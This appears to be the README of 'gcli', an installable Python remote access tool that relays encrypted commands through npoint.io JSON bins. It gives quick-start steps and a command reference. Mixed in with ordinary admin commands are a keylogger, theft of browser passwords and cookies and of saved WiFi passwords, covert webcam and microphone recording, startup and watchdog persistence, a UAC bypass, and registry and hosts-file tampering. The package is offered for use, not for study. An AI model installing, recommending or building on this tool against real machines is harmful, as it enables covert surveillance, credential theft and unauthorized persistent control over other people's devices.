gcli — Remote Access Tool via npoint.io
Encrypted command relay over npoint.io JSON bins. AES-256-GCM encryption, cross-platform, 100+ commands.
┌──────────┐ commands ┌─────────────┐ commands ┌──────────┐
│ gcli ssh │ ───────────────> │ npoint.io │ ───────────────> │gcli host │
│ (client) │ <─────────────── │ (JSON bin) │ <─────────────── │ (daemon) │
└──────────┘ results └─────────────┘ results └──────────┘
Install
pip install gcli-control
Quick Start
Host (remote machine):
gcli host --password MySecret123
gcli host --password MySecret123 --foreground # debug mode
Client (your machine):
gcli ssh --password MySecret123
Stop host:
gcli stop
Security
- AES-256-GCM encryption with PBKDF2 key derivation (600K iterations)
- zlib compression before encryption (60-80% payload reduction)
- PBKDF2 key caching (~150ms saved per operation)
- Password never leaves your machine — only encrypted payloads
- Built-in tamper detection (GCM authentication tag)
- Persistent HTTPS connection reuse (reduced TLS handshake overhead)
Command Reference
Core Commands
| Command |
Description |
| Any text |
Execute shell command on remote host |
:help |
Show available commands |
:info |
Remote system info (hostname, OS, user, IP) |
:ping |
Ping remote host (show latency) |
:upload <local> <remote> |
Upload file to remote host |
:download <remote> <local> |
Download file from remote host |
:timeout <seconds> |
Set exec timeout |
:history |
Command history |
File Operations
| Command |
Description |
:ls [path] |
List directory |
:tree [path] [depth] |
Directory tree |
:mkdir <path> |
Create directory |
:rm <path> |
Delete file |
:find <pattern> |
Find files by glob |
:stat <path> |
File info |
Process & Monitoring
| Command |
Description |
:ps [limit] |
List processes |
:kill <pid> |
Kill process |
:uptime |
Remote uptime |
:cpu |
CPU usage |
:mem |
Memory usage |
:disk [path] |
Disk usage |
:top [limit] |
Top processes by CPU |
Clipboard & Network
| Command |
Description |
:clipget |
Get remote clipboard |
:clipset <text> |
Set remote clipboard |
:clipclear |
Clear clipboard |
:dns <host> |
DNS lookup |
:portcheck <host> <port> |
Check port |
Aliases & Scripts
| Command |
Description |
:alias <n> <cmd> |
Create alias |
:aliases |
List aliases |
:script <c1; c2> |
Run script (semicolons) |
Security
| Command |
Description |
:audit |
View audit log |
:threat <cmd> |
Check threat level |
:lock |
Lock session |
:unlock |
Unlock session |
Advanced System
| Command |
Description |
:netstat |
Active network connections |
:services [list|start|stop] <name> |
Manage services |
:screenshot |
Capture remote screen |
:history [n] |
Remote shell history |
:envset <K> <V> |
Set env variable on host |
:grep <pattern> [path] [ext] |
Search files |
:partitions |
Disk partitions |
:whoami |
Remote user info |
Automation
| Command |
Description |
:bulk <c1; c2> |
Bulk execute commands |
:repeat <cmd> <n> |
Repeat command N times |
:cron |
List scheduled tasks |
:cron add <name> <cmd> |
Add scheduled task |
:cron rm <name> |
Remove scheduled task |
:snapshot |
Full env snapshot |
:waitport <host> <port> |
Wait for port to open |
Forensics
| Command |
Description |
:hash <path> [algo] |
File hash (md5/sha1/sha256/all) |
:integrity <create|verify> [path] |
File integrity baseline |
:recent [hours] |
Recently modified files |
:portprocess <port> |
Find process by port |
:usb |
List USB devices |
:suspicious |
Flag suspicious processes |
:openfiles <pid> |
List open files for process |
:envaudit |
Audit env for secrets |
:startup |
List startup programs |
Transfer
| Command |
Description |
:verify <path> <sha256> |
Verify file integrity |
:diff <a> <b> |
Diff two files |
:split <path> [size] |
Split file into pieces |
:merge <pattern> <out> |
Merge split files |
Webcam & Audio
| Command |
Description |
:camlist |
List cameras |
:camcapture [id] |
Capture photo |
:camrecord [id] [sec] |
Record video |
:caminfo [id] |
Camera info |
:audiodevices |
List microphones |
:audiorecord [sec] [dev] |
Record audio |
:audioinfo |
Audio system info |
:audiolevel |
Current mic level |
Keylogger
| Command |
Description |
:keylogstart |
Start key capture |
:keylogstop |
Stop key capture |
:keylogread [n] |
Read captured keys |
:keylogstatus |
Keylogger status |
:keylogsave [path] |
Save keys to file |
Persistence
| Command |
Description |
:persist |
Full persistence status |
:persist install [method] |
Install startup |
:persist remove |
Remove startup |
:persist list |
List persistence |
:persist schedule |
Install scheduled task |
:persist unschedule |
Remove scheduled task |
:persist watchdog |
Install watchdog |
:persist unwatchdog |
Remove watchdog |
Browser Data
| Command |
Description |
:browsers |
List detected browsers |
:bhistory [browser] [n] |
Browser history |
:bcookies [browser] |
Browser cookies |
:bbookmarks [browser] |
Browser bookmarks |
:bdownloads [browser] |
Download history |
:bpasswords [browser] |
Saved passwords |
WiFi
| Command |
Description |
:wifistatus |
WiFi connection status |
:wifiscan |
Scan nearby networks |
:wifilist |
Saved WiFi profiles |
:wificonnect <ssid> [pw] |
Connect to WiFi |
:wifidisconnect |
Disconnect WiFi |
:wifipassword <ssid> |
Show saved password |
:wififorget <ssid> |
Remove saved profile |
Privilege & Elevation
| Command |
Description |
:checkadmin |
Check admin/root status |
:elevate |
Attempt UAC bypass (Windows) |
:sudo <cmd> |
Run command as root |
:sysinfo |
Detailed system info |
Network Config
| Command |
Description |
:interfaces |
List network interfaces |
:dns <iface> <servers> |
Set DNS servers |
:proxy <h> <p> | off |
Set/clear proxy |
:firewall |
Firewall status |
:fwallow <port> [name] |
Allow port in firewall |
:arp |
ARP table |
:hosts <ip> <host> |
Add hosts file entry |
Registry (Windows)
| Command |
Description |
:reglist <key> |
List values in key |
:regread <key> [val] |
Read registry value |
:regwrite <key> <n> <v> |
Write value |
:regdelete <key> <val> |
Delete value |
:regsubkeys <key> |
List subkeys |
:regsearch <query> |
Search registry |
Architecture
gcli/
├── __main__.py # CLI entry point
├── __init__.py
├── crypto.py # AES-256-GCM + PBKDF2 key cache + zlib compression
├── npoint.py # npoint.io API (persistent HTTPS connection pool)
├── protocol.py # Document structure, race-condition safe append
├── host.py # Daemon: poll → decrypt → dispatch → encrypt → respond
├── client.py # SSH REPL with 100+ commands
├── utils.py # PID management, detach, system_info
├── colors.py # Cross-platform ANSI colors
├── session.py # Handshake, heartbeat, key rotation
├── fileops.py # ls, tree, mkdir, rm, stat, cp, mv, find, du
├── processes.py # ps, kill, process_info, env, uptime, network_info
├── clipboard.py # Clipboard sync
├── netutils.py # HTTP, DNS, port check, traceroute, speed test
├── aliases.py # Command aliases & scripting
├── security.py # Rate limiting, audit log, threat detection
├── output.py # Pagination, syntax highlighting, diff format
├── monitoring.py # CPU, memory, disk, processes, temperature
├── system.py # Netstat, services, screenshot, shell history, grep
├── automation.py # Bulk exec, repeat, cron, watchdog, env snapshot
├── forensics.py # File hash, integrity, recent files, USB, suspicious processes
├── transfer.py # Chunked file transfer, checksum, diff, split/merge
├── webcam.py # Camera capture & recording
├── audio.py # Microphone recording & levels
├── keylog.py # Keystroke capture
├── persistence.py # Startup, scheduled tasks, watchdog
├── browser.py # Browser history, cookies, bookmarks, passwords
├── wifi.py # WiFi management (scan, connect, profiles)
├── elevator.py # Privilege escalation (UAC bypass, sudo)
├── network_config.py # DNS, proxy, firewall, ARP, hosts
└── registry.py # Windows registry operations
Requirements
- Python 3.8+
cryptography package (required)psutil (optional — better process/system monitoring)sounddevice (optional — audio recording)opencv-python (optional — webcam capture)pynput (optional — keylogging on Linux/macOS)- Internet connection (for npoint.io)
License
MIT
